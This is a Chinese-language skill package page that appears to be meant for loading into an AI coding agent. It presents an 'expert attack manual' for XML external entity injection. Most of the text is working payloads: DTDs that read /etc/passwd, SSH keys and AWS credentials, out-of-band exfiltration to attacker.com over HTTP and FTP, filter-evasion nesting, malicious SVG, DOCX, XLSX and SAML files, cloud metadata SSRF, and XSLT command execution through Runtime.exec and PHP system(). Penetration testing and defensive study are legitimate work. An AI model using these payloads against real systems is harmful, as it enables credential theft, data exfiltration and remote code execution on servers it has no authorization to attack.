关于 xxe-xml-external-entity
面向安全测试人员和 Agent 的 XXE 攻击测试技能,覆盖 XML 输入、文件上传及非显式 XML 处理场景。内容还介绍带外检测、数据外传和 XXE 到 SSRF 的测试路径。
主要功能
- 01多类 XML 输入点探查
- 02带外 XXE 检测与外传
- 03文件读取与错误泄露测试
- 04SVG 与 Office 文件测试
- 05XXE 到 SSRF 链路测试
- 06本地 DTD 与过滤绕过
适用场景
- 01检查 SOAP 或 REST XML 解析器
- 02测试 SVG、DOCX 或 XLSX 上传处理
- 03在响应不回显时验证盲 XXE
- 04评估 XXE 对内部 HTTP 端点的访问
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill xxe-xml-external-entity安装后在 Claude Code 中输入/xxe-xml-external-entity确认已加载。
附带文件SCENARIOS.md
详细介绍
技能:XML 外部实体注入(XXE)——专家攻击手册
AI 加载指令:专家级 XXE 技术。涵盖所有注入上下文(SOAP、REST JSON→XML 解析器、Office 文件、SVG)、带外(OOB)数据外泄(直接读取失败时至关重要)、盲 XXE 检测,以及 XXE 到 SSRF 的攻击链。基础模型通常会遗漏 OOB 和非 XML 上下文中的 XXE。对于真实世界的 CVE 攻击链、Office docx XXE 分步操作、PHP expect:// RCE,以及 Solr XXE+RCE,请加载配套文件 SCENARIOS.md。
0. 相关路由
另请加载:
- 不安全文件上传,当 XXE 可通过 SVG、OOXML、导入或预览流程触发时
扩展场景
需要以下内容时,也请加载 SCENARIOS.md:
- Apache Solr XXE + RCE 攻击链(CVE-2017-12629)——通过 XXE 读取配置,然后利用 VelocityResponseWriter 实现 RCE
- Office docx XXE 分步操作——解压 → 向
word/document.xml或[Content_Types].xml注入 DOCTYPE → 重新打包 → 上传 - 基于 DOCTYPE 的盲 SSRF——
PUBLIC外部 DTD 引用会触发 HTTP 回连,无需实体反射 - 通过 XXE 使用 PHP
expect://协议——安装 expect 扩展时可直接执行命令 - 通过错误消息触发盲 XXE——强制产生文件路径错误,使异常文本泄露内容
- SOAP Web 服务中的 XXE——向 SOAP Envelope/Body 元素注入实体
1. 经典 XXE 有效载荷
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
如果响应中反射出 /etc/passwd → 确认可读取文件。
2. 攻击面发现
直接 XML 输入
- SOAP 端点(
text/xml、application/soap+xml) - 接受
application/xml的 REST API - 文件上传:
.xlsx、.docx、.pptx(Office Open XML) - SVG 上传(SVG 是 XML)
- RSS/Atom 源解析器
- 支持 XML 配置导入的 Web 服务
不明显的 XML 处理
将任何 JSON POST 请求的 Content-Type 标头改为:
Content-Type: application/xml
然后将请求正文改写为 XML——许多后端使用双格式解析器或自动检测格式。
PDF 生成器
某些 HTML→PDF 工具(wkhtmltopdf、PrinceXML)会通过嵌入式 URL 执行 SSRF,也会解析 HTML 中包含的 SVG/XML 内部的外部实体。
3. OOB(带外)XXE——至关重要
当直接实体反射失败时使用(服务器会解析,但不会回显实体内容):
步骤 1:盲检测
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
<root>&xxe;</root>
Collaborator 收到 DNS/HTTP 请求 → 确认存在 XXE(即使未返回文件内容)。
步骤 2:通过攻击者托管的 DTD 进行 OOB 文件外泄
攻击者的服务器在 http://attacker.com/evil.dtd 上托管恶意 DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
发送给目标的有效载荷:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfiltrate;</root>
文件内容会出现在攻击者 HTTP 服务器的请求日志中。
步骤 3:基于错误的 OOB(HTTP 被阻止时的替代方法)
利用人为触发的错误在错误消息中泄露数据:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
%eval;
%error;
4. XXE 文件读取目标
Linux:
/etc/passwd
/etc/shadow (requires root)
/etc/hosts
/proc/self/environ ← environment variables (DB creds, API keys)
/proc/self/cmdline ← process command line
/var/log/apache2/access.log ← may contain passwords in URLs
/home/USER/.ssh/id_rsa ← SSH private key
/home/USER/.aws/credentials ← AWS keys
/home/USER/.bash_history
Windows:
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config ← ASP.NET connection strings
C:\xampp\htdocs\wp-config.php ← WordPress DB credentials
C:\Users\Administrator\.ssh\id_rsa
5. SVG XXE(文件上传场景)
当接受 SVG 上传并提供或处理这些文件时:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
<text font-size="16">&xxe;</text>
</svg>
以 .svg 上传 → GET /uploads/file.svg → 响应中包含文件内容。
6. Office 文件 XXE(docx/xlsx/pptx)
Office 文件是包含 XML 的 ZIP 归档文件。向 [Content_Types].xml 或 word/document.xml 注入:
# Step 1: extract
unzip original.docx -d extracted/
# Step 2: edit word/document.xml — add malicious DTD
# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then use &xxe; inside document text
# Step 3: repackage
cd extracted && zip -r ../malicious.docx .
7. SOAP 端点 XXE
SOAP 请求按定义会解析 XML。向 SOAP 信封中注入外部实体:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<id>&xxe;</id>
</getUser>
</soap:Body>
</soap:Envelope>
8. XXE → SSRF 攻击链
XXE 外部实体可以指向内部 HTTP 端点(与 SSRF 完全相同):
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
这会将 XXE 文件读取与 SSRF 合并到单个有效载荷中。
9. XInclude 攻击
当服务器端处理 XInclude(从其他来源导入 XML),但你无法控制 DOCTYPE 时:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</foo>
适用于:Apache Cocoon、Xerces-J,以及启用了 XInclude 支持的 libxml2。
10. XXE 中的协议处理器
<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">
11. 绕过防御
解析器阻止 DOCTYPE
尝试使用 XInclude(无需 DOCTYPE,见 §9)。
只允许特定 XML 架构
如果会进行架构验证:在架构验证之后、实体处理之前注入注释或 CDATA。
响应编码问题(响应中包含二进制内容)
使用 PHP 过滤器进行 base64 编码:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
OOB 网络限制
仅使用 DNS 进行 OOB:通过 SYSTEM "file://HASH.attacker.com"——无需 HTTP,DNS 查询即可泄露数据。
12. 快速检测清单
□ Find XML input point (or JSON→XML transformation)
□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
□ If yes → file read: SYSTEM "file:///etc/passwd"
□ If no reflection → OOB test via Collaborator URL
□ If OOB hit → set up attacker DTD for file exfiltration
□ Try SVG upload with XXE
□ Try Content-Type: application/xml on JSON endpoints
□ Try XInclude if DOCTYPE-based fails
13. 本地 DTD 注入(盲 XXE 放大)
如果外部实体被阻止,但服务器上存在本地 DTD 文件:
技术
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
常见本地 DTD 路径
Linux
/usr/share/yelp/dtd/docbookx.dtd # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd # Apache Struts
/usr/share/nmap/nmap.dtd # Nmap
/opt/zaproxy/xml/alert.dtd # OWASP ZAP
Windows
C:\Windows\System32\wbem\xml\cim20.dtd # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd # WMI
C:\Program Files\IBM\WebSphere\*.dtd # WebSphere
C:\Program Files (x86)\Lotus\*.dtd # Lotus Notes
JAR 文件内部(Java 应用程序)
jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
原理
- 外部连接被阻止(防火墙/WAF/出口过滤器)
- 但通常允许使用 file:// 访问本地文件
- 本地 DTD 受信任 → 实体覆盖会注入攻击者控制的定义
- 通过 file:// 进行错误消息提取或盲提取仍然有效
14. 其他 OOB 数据外泄通道
基于 FTP 的数据外泄(逐行)
FTP 协议逐行发送数据,因此在基于 HTTP 的 OOB 会在换行符处截断时,适合用于多行文件数据外泄:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%exfil;
%send;
在端口 2121 上运行恶意 FTP 服务(例如 xxeserv 或自定义 Python 服务)——文件的每一行都会作为单独的 RETR 或 CWD 命令到达。
HTTP 参数数据外泄
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">
%exfil;
%send;
Base64 编码可避免 HTTP URL 中的换行符/特殊字符问题。在攻击者服务上解码 d= 参数。
15. DTD 嵌套技巧——参数实体链式引用
参数实体中嵌套参数实体
用于绕过会阻止在实体值中直接引用实体的解析器:
<!DOCTYPE foo [
<!ENTITY % a "% b;">
<!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
%a;
]>
解析器会展开 %a; → %b; → 获取外部 DTD。一些 WAF 只会检查第一层实体定义。
用于规避过滤的三重嵌套
<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
%s2;
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % s3 "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%s3;
%exfil;
发送给目标的载荷只引用 stage1.dtd——实际文件读取要经过两次 DTD 获取,因此可规避浅层 WAF 检查。
16. XXE 在不明显格式中的应用
| 格式 | XML 位置 | 注入点 |
|---|---|---|
| SOAP 信封 | 整个正文都是 XML | 在 <soap:Envelope> 前添加 DOCTYPE |
| SVG 图像 | SVG 是 XML | 在 SVG 头部添加 <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> |
| OOXML (.docx) | word/document.xml、[Content_Types].xml | 向任意 XML 成员注入 DOCTYPE 和实体 |
| OOXML (.xlsx) | xl/sharedStrings.xml、xl/worksheets/sheet1.xml | 在单元格值中引用实体 |
| RSS/Atom 源 | 源正文是 XML | 如果包含用户内容,则注入到源条目中 |
| SAML 断言 | SAML XML 令牌 | 在 SAMLResponse 参数中注入 DOCTYPE(经 base64 解码的 XML) |
| XMPP | 协议消息是 XML 片段 | 在消息正文或 JID 字段中插入实体 |
| GPX 文件 | XML 格式的 GPS 轨迹数据 | 通过接受 GPX 的文件上传端点 |
| XHTML | 严格 XHTML 是有效 XML | 在 XHTML 文档中注入 DOCTYPE |
SAML XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion>
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
重新编码为 base64,并作为 SAMLResponse 参数提交。
17. 通过文件上传实施 XXE
SVG 上传
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text x="10" y="50" font-size="14">&xxe;</text>
</svg>
将其作为头像/图像上传 → 查看已上传的 SVG → 文件内容会以文本形式呈现。
XLSX(Excel)上传
# 1. Create minimal .xlsx, unzip it
unzip report.xlsx -d xlsx_tmp/
# 2. Inject into xl/sharedStrings.xml
# Add after XML declaration:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Replace a <t> element content with &xxe;
# 3. Repackage
cd xlsx_tmp && zip -r ../malicious.xlsx .
也可以注入到 [Content_Types].xml 中(大多数 OOXML 处理器会先解析该文件)。
DOCX 上传
# Target: word/document.xml
# Same approach: unzip → inject DOCTYPE + entity → repackage
# Alternative: inject into customXml/item1.xml if custom XML parts exist
处理流水线攻击
即使上传的文件没有直接呈现,服务器端解析器(Apache POI、python-docx、OpenXML SDK)也可能在导入时处理实体,从而触发 OOB 数据外泄。
18. 基于错误的 XXE
强制 XML 解析器生成包含文件内容的错误消息:
方法 1:引用不存在的文件
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
解析器会尝试打开 file:///nonexistent/<hostname_content> → 错误消息中会包含主机名的值。
方法 2:XML 架构验证错误
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % err SYSTEM 'jar:file:///nonexistent!/%file;'>">
%eval;
%err;
]>
jar: 协议处理程序会生成详细的错误消息,其中包含展开后的实体值。
方法 3:整数溢出 / 类型错误
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'file:///%file;'>">
%int;
%trick;
解析器尝试打开一个包含目标文件内容的文件路径 → 错误消息泄露内容。
19. XSLT 注入与 XXE 的关联
XSLT 处理器会解析 XML,并可与 XXE 串联:
XSLT 文件读取
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
XSLT RCE(取决于处理器)
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
</xsl:template>
</xsl:stylesheet>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')"/>
</xsl:template>
</xsl:stylesheet>
XXE → XSLT 链
如果目标接受带有样式表引用(<?xml-stylesheet?>)的 XML 输入,则注入外部实体和恶意 XSLT,将文件读取升级为 RCE。